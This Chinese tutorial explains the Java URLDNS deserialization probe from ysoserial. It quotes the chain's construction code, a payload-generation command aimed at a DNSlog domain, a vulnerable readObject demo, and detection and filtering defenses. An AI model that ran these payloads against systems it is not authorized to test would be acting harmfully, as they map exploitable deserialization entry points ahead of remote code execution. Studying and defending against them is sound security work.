☰
Java反序列化漏洞探测:URLDNS链原理与实战解析
2026/10/20 3:54:03 网站建设 项目流程

进入反序列化漏洞测试时,我最关心的问题从来不是“这条利用链能不能执行命令”,而是“这个系统到底有没有暴露反序列化入口”。对于一个Java后台,你可能扫了好几天端口,翻遍了框架版本,最后还是要面对一个最基础的问题:用户可控的数据流,会不会被某个ObjectInputStream.readObject()接住?

我习惯用ysoserial里的URLDNS链来解决这个问题。它不弹计算器、不反弹Shell、不执行系统命令,从“危害”角度看几乎不值一提,但它能做一件其他链子都做不到的事:让目标在反序列化过程中主动帮你发一条DNS解析请求。这一条请求,足以证明“入口存在”。这篇文章我会把URLDNS的原理、ysoserial源码里的关键细节、本地验证方法以及防御方的检测思路完整拆一遍,希望能帮你把这套链子彻底吃透。

1. 为什么先拿URLDNS当探针,而不是直接上命令执行链

1.1 反序列化测试的“三步走”:探活、找链、验证

拿到一个Java系统,脑子里要先有一根弦:反序列化测试不是“直接打就行”,它天然分成三个阶段。

第一步是探活。只回答一个问题:目标是否存在一个能由外部数据触发的反序列化入口点?在这一步,我们不关心目标用了什么第三方库、JDK版本是多少、服务器能不能出外网,只关心“readObject会被触发”这个事实。第二步是找链。确认入口存在之后,再看目标环境里有哪条可用的gadget链,比如CommonsCollections、CommonsBeanutils、C3P0之类,这条链的存在取决于目标依赖里有哪些类。第三步才是验证利用,真正执行命令、反弹Shell,或者往业务系统里写数据。

很多新手在第一步就犯了急性病。他们一上来就尝试打一条完整RCE链,结果要么因为目标环境里根本没有对应版本的第三方库,反序列化直接抛出ClassNotFoundException;要么因为payload体积太大、特征太明显,被WAF直接拦掉;更常见的是命令执行了但没有回显,你压根不知道成没成功。这些问题在探活阶段统统不存在,因为URLDNS这条链不依赖任何目标业务代码。

所以我一直强调:先探活,再谈利用。URLDNS就是探活阶段最顺手的工具,没有之一。

1.2 URLDNS和其他gadget的对比:它为什么不“炸”

先看一张对比表,你就明白我为什么把这条链单独拎出来讲。

对比维度URLDNSCommonsCollections系列Jdk7u21 / Jdk8u20等
依赖类仅JDK原生类第三方库且版本敏感依赖特定JDK漏洞版本
实际效果只发DNS请求,无命令执行RCE,可弹计算器或反弹ShellRCE
Payload体积很小,几百字节较大,几千字节起步中等
稳定性跨JDK版本稳定受版本、补丁影响大高版本JDK基本失效
测试风险无副作用,几乎不会“炸”环境可能触发异常、断连可能影响目标稳定性
核心用途验证入口存在验证命令执行老版本环境利用

URLDNS最神奇的地方在于,它完全由JDK自带的HashMap、URL组成,不需要目标额外加载任何一个第三方类。这意味着只要你确认目标能反序列化,这条链就一定能触发,不存在“缺依赖”这类问题。另一个优点是无害,即使目标环境有某些反序列化保护,它也只会产生一条DNS请求,不会导致目标服务崩溃或产生脏数据。

既然是探针而不是武器,那接下来说的就是它内部的工作原理。这条链不能光会用来生成payload,得把它掰开来看。

2. 整条链的穿针引线:HashMap如何把DNS请求“叫醒”

2.1 readObject触发的完整调用路径

URLDNS整条链从触发到出网,走的是下面这条路径:

ObjectInputStream.readObject() -> HashMap.readObject() -> hash(key) -> key.hashCode() -> URL.hashCode() -> URLStreamHandler.hashCode(URL) -> InetAddress.getByName(host) // 真正的DNS查询发生在这里

Java反序列化时,当数据流里出现一个HashMap对象,就会执行HashMap自己的readObject()方法。在这个方法里,它需要把序列化时保存的每一个Entry重新放回哈希表,也就是恢复桶结构。而恢复的关键,就是对每个key重新计算哈希值,代码大致长这样:

private void readObject(ObjectInputStream s) { // ... 读取容量、加载因子、Entry数量 for (int i = 0; i < mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } }

hash(key)内部会调用key.hashCode()。如果这个key恰好是java.net.URL对象,那么URL.hashCode()就会被触发。而URL.hashCode()里有一段关键逻辑:

public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }

hashCode字段默认值是-1,只有在不等于-1时才直接返回缓存值。一旦等于-1,它就会把计算工作交给内部的handler(即URLStreamHandler),由handler去算出真正的哈希值。而URLStreamHandler.hashCode()在计算过程中需要调用目标主机的地址,最终走到InetAddress.getByName(host),这一下就产生了一次DNS解析请求。

所以结论很清晰:只要反序列化时URL.hashCode字段保持-1,DNS请求就一定会发出去。

2.2 为什么key必须是URL,value无所谓

这是很多初学者第一个卡住的地方。他们改payload时把URL放在value里,结果DNS请求死活不发,于是怀疑链子是不是坏了。

原因其实很简单:HashMap.readObject()恢复桶结构时,只对key做hash(key)计算,value只是被简单读出并存起来,压根不会调用它的hashCode()。所以URL必须放在map的key位置上,value是什么根本无所谓,ysoserial源码里直接用字符串url本身作为value,图省事。

还有一个细节:反序列化时putVal会根据新的哈希值把Entry放入桶中。如果发生哈希冲突,还会调用key.equals()做进一步比较。URLDNS这条链因为只有一个Entry,通常不会触发equals(),所以我们不需要担心URL.equals()里是否也会引发其他复杂行为。这就是为什么一个Entry的map反而是最干净的形态。

顺便提一个容易被误认为“入口”的类。不少人以为URLDNS的入口是URL的readObject或hashCode,其实不是。入口是最外层的HashMap,URL只是中间借力的对象。理解这一点,你才算真正看懂了“gadget chain”的结构:入口类负责读流,中间类负责传导,sink负责把影响力落到底。

2.3 反序列化端的handler从哪来——一个容易讲错的细节

这里有个坑非常多人讲错:ysoserial构造payload时明明传了一个自定义的URLStreamHandler,那目标反序列化时用的handler是不是这个自定义handler?

答案是否定的。URL类里的handler字段是transient,根本不会跟着序列化数据流一起过去。反序列化端在调用URL.hashCode()时,会通过内部的getHandler()方法,按协议名(比如http)动态加载目标JVM自己的默认handler。所以真正干活的,是目标环境里的sun.net.www.protocol.http.Handler。

为什么说这个细节重要?因为它解释了URLDNS的跨版本稳定性。不管目标JDK版本是8还是11,只要是标准的Oracle/OpenJDK实现,http协议的默认handler都存在,而且它的hashCode计算过程一定会尝试解析主机名。这意味着URLDNS不依赖目标业务代码里的任何一个类,也不依赖目标自身的handler实现,天然具备“广泛兼容”的特性。

那ysoserial里那个自定义handler是用来干嘛的?这个放到下一节讲,它跟构造payload的“静默”需求有关。

3. ysoserial源码里那些容易被忽略的细节:顺序、静默与入口

3.1 put前后把hashCode改回-1的那一手妙棋

先看ysoserial中URLDNS的核心代码片段,这是整个工具最关键的地方:

public Object getObject(final String url) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); Reflections.setFieldValue(u, "hashCode", 0); // 先把hashCode改成非-1 ht.put(u, url); // 安全地把URL放进HashMap Reflections.setFieldValue(u, "hashCode", -1); // 再改回-1,留给反序列化端触发 return ht; }

为什么要多此一举,先改成0,put完再改回-1?

因为HashMap.put()本身就会调用hash(key),也就是会触发key.hashCode()。如果把一个hashCode为-1的URL直接放进map里,那么“构造payload”这一步就会立刻引发一次DNS查询。可这次查询是本机发出的,不是目标发出的,它会严重误导判断——你以为目标已经触发,其实只是你自己在构造阶段制造了噪音。

ysoserial的做法是:先把URL的hashCode字段通过反射改成0(任意非-1的值都行),这样put()时URL.hashCode()发现缓存值不是-1,直接返回0,完全不进入handler的逻辑,也就不会产生DNS请求。等URL安全地放进HashMap、桶位置也确定了,再把hashCode反射改回-1。

序列化HashMap时,writeObject只是按顺序把key和value写出去,并不会重新计算哈希值。所以payload文件里保存的URL对象,其hashCode字段就是-1。等目标反序列化并重新调用hash(key)时,前面说的DNS查询自然就被触发。

这一手“先骗后改”,是整条链的灵魂。

3.2 SilentURLStreamHandler的“静默”意义

ysoserial源码里还带了一个内部类:

static class SilentURLStreamHandler extends URLStreamHandler implements Serializable { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } }

这个类把getHostAddress直接返回null。它的作用就是双保险:即使某个环节漏掉了“先把hashCode改成0”的保护,或者反射失效,构造payload的机器也不会真的把域名解析出去。换句话说,它保证了构造环境的绝对静默。

有人会问:既然是双保险,能不能只靠它,不改hashCode?不行。put()触发的是URL.hashCode(),而这个方法优先判断缓存值,只要hashCode != -1就短路返回。如果缓存值是-1,它会去调handler的hashCode,而handler的hashCode不一定走getHostAddress——在某些JDK版本里,即使getHostAddress返回null,后续逻辑也可能因为host字符串被处理而产生其他行为。反射改hashCode是主动掐断,自定义handler是被动防守,两者缺一不可。

真正到了反序列化端,这个自定义handler因为transient字段不会过去,目标会用自己JVM的默认handler走完整解析流程。所以“静默”只属于构造端,触发始终属于目标端。

3.3 一个常见误解:URLDNS不是RCE链,它验证的是入口存在性

初学者最容易产生的误会,是我已经成功运行了URLDNS,说明我能直接打穿这个系统。这个想法需要纠正。

URLDNS的成功只说明一件事:目标确实存在一个可被外部控制的反序列化入口。它不代表目标存在某个可利用的gadget库,更不代表你能命令执行。从防御者视角来看,URLDNS探测就像是敲门声,你知道了门在哪,但门后面有什么还得继续摸。

但这并不意味着URLDNS没有实战价值。恰恰相反,它把“有没有入口”这个不确定性极高的黑盒问题,变成了一个确定性极高的白盒结论。如果目标没有反序列化入口,后面所有RCE链的尝试都是浪费时间。有了这条链,后面的工作才能有的放矢。

4. 本地复现验证:从一条DNS日志判断反序列化入口

4.1 生成payload与最小验证环境

验证方法很简单。本地准备好JDK环境和ysoserial工具,先生成一个payload文件:

java -jar ysoserial.jar URLDNS "http://random-token.your-dnslog-domain.com" > urldns.bin

域名部分建议带上一段随机字符串,原因后面讲。然后写一个最简单的“受害者”程序,模拟目标环境中可能存在的反序列化入口:

import java.io.FileInputStream; import java.io.ObjectInputStream; public class VulnerableDemo { public static void main(String[] args) throws Exception { FileInputStream fis = new FileInputStream("urldns.bin"); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); // 反序列化过程中触发URLDNS ois.close(); System.out.println("read object: " + obj.getClass().getName()); } }

运行这段程序后,如果一切正常,你会看到控制台打印读到的对象类型是java.util.HashMap,同时DNS平台上应该已经多了一条解析记录。

4.2 用DNSLog平台和本地抓包确认

判断是否成功,通常有两种观察手段。

第一种是使用DNSLog平台。把平台分配的二级域名拼到payload里,然后去平台后台刷新记录。如果目标环境发起了DNS查询,你会看到一条形如random-token.your-dnslog-domain.com的解析记录,并且能直接看到目标服务器出网的公网IP。这个IP是判断“请求确实来自目标”的核心证据。

第二种是本地抓包。如果你在测试环境里跑前面的demo,可以在运行前先监听53端口:

sudo tcpdump -i any port 53 -n

然后在另一个终端运行VulnerableDemo,抓包结果里会出现一条从本机发往本地DNS服务器的查询请求,qname就是你在payload中指定的域名。

这两种方式验证的侧重点不同。DNSLog适合真实授权测试,因为你不需要直接访问目标机器,只要目标能收到payload,DNS记录就会回来。本地抓包适合自测,用来看清楚触发时机和流量特征,方便你建立“这条链到底干了什么”的直觉。

4.3 误判重灾区:构造阶段的DNS请求与JVM DNS缓存

实际测试中我遇到过不少误判,通通来自三个干扰因素。

第一个干扰因素是构造阶段的DNS请求。如果你不是用ysoserial,而是自己写代码按“先new URL,再直接put进HashMap”的顺序构造payload,那么本机在put()的时候就会先发一次DNS查询。等到目标端再触发时,你收到两条记录,一条是本机的,一条是目标的。这是最常见的假阳性来源。解决办法就是严格按ysoserial的“反射改hashCode再put再改回”的顺序来写。

第二个干扰因素是JVM的DNS缓存。同一个JVM进程内,如果某个域名已经被解析过,第二次再触发时很可能直接命中缓存,不会产生新的DNS请求。所以验证时域名一定要带随机前缀,比如每次测试都换一个random-token。否则你看到的“成功”可能是上一次请求的缓存记录,或者这次压根没发出去。

第三个干扰因素是目标出网限制。有些目标机器本身能反序列化,但网络策略禁止53端口出外网,或者只允许访问内网DNS服务器。这时URLDNS的解析请求要么发不出去,要么只能被内网DNS接收。它不是反序列化入口不存在,而是你的观测信道不通。这时需要换思路:要么换一条能产生网络连接的外带链,要么通过其他方式确认入口存在。

5. 探针之后的事:URLDNS的变体、检测与防护

5.1 URLDNS的变体玩法

URLDNS虽然简单,但也有些变体可以扩展使用场景。

一种变体是修改URL协议。默认大家用http,因为http的默认handler最普及。实际上ftp协议也能触发DNS解析,原理一样,只是少数环境里ftp handler可能被自定义实现覆盖,稳定性稍差。另一种变体是构造多个URL key放到同一个HashMap里,这样一次反序列化可以触发多条DNS查询,适合某些需要验证多个域名连通性的场景,但payload体积会变大,实际用处有限。

还有一个更实用的扩展思路:把URLDNS当作框架来理解。理解了“HashMap.readObject -> key.hashCode() -> 某个对象的危险方法”这个模式,你就掌握了大多数纯JDK链的构造逻辑。很多自研链都是从这种短链起步,逐步替换中间环节,最终形成一条RCE链。所以读懂URLDNS,不只是为了会用工具,更是为了学会“自己拼链子”的基本功。

5.2 从检测视角看:什么样的事件意味着有人拿URLDNS探你

作为防御方,如何判断自己的系统正在被URLDNS探测?

URLDNS产生的流量特征很明显。DNS查询的域名通常是一个随机字符串拼接固定域名,子域名明显的长度异常、无明显语义。正常的业务域名不会长成3f9a2c1d95b8e4a7.some-domain.com这种样子。当你的DNS日志里出现大量这类唯一子域名解析请求,且流量来源来自业务服务器而不是办公网,大概率就是有人正在对系统做反序列化探活。

在反序列化链条上,也可以用RASP类产品对InetAddress.getByName、URL.hashCode这类方法做hook。当一次请求处理过程中发现反序列化数据流触发了这些网络函数,就可以判定为可疑行为并告警。特别是触发点发生在HashMap.readObject的调用栈里时,几乎可以确定是URLDNS链。

另外,Java 9之后的JDK提供了原生ObjectInputFilter机制,可以在反序列化入口处对类做白名单过滤。一个最小示例是:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "!java.net.URL;!java.net.InetAddress;java.util.*;!*" ); ObjectInputStream ois = new ObjectInputStream(fis); ois.setObjectInputFilter(filter);

这段过滤器规则的意思是允许java.util包下的类,拒绝URL和InetAddress,其余类全部拒绝。注意,真实生产环境的过滤器应该基于业务白名单去写,而不是把java.util.*全放进来。核心思路就一句话:反序列化时,根本不允许URL这类容易引发副作用的类出现在数据流里。

5.3 防护落脚点:类过滤、入口校验与网络约束

防URLDNS这类探测,最终要落在三个层面。

类过滤层面,上面已经提过ObjectInputFilter。它的优势是零侵入、原生支持,能把明显有问题的类挡在readObject执行之前。但它的前提是你能找到所有反序列化入口,并在每个入口处都加上过滤器,这对老系统来说工作量不小。

入口校验层面,更彻底的做法是检查业务设计本身。如果某个接口根本不需要接收Java序列化数据,那就不该把ObjectInputStream放到用户可控路径上。很多实际漏洞其实就是纯粹的设计缺失,而不是沟壑难平的技术问题。把入口点收敛掉,比一百个gadget防护都有效。

网络约束层面,可以配合出口流量限制来增加探测成本。如果业务服务器不需要访问外部DNS,那么在防火墙上限制域名解析请求,就能直接让URLDNS这类外带探测失效。但网络约束只能提高门槛,因为仍有内网DNS、多级代理等绕过方式,它不能替代前两层防护。

从探测者和防御者的双重视角看,URLDNS这条链都非常“划算”。对探测者,它用最小的代价确认入口;对防御者,它又是最容易识别、最容易拦截的一类探活信号。两者之间的攻防博弈,本质上就是围绕“反序列化这个入口到底是否暴露”在展开。

我自己实践下来的体会是,反序列化测试最容易翻车的地方压根不在利用链复不复杂,而在最基础的探活环节。很多人被一堆花哨的gadget迷了眼,却连“目标能不能触发readObject”都没确认,结果浪费了大量时间。URLDNS这条链虽然不发光,却是整个反序列化知识体系中最好的一根拐杖——读懂了它,你才算真正迈过了Java反序列化安全分析的门槛。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询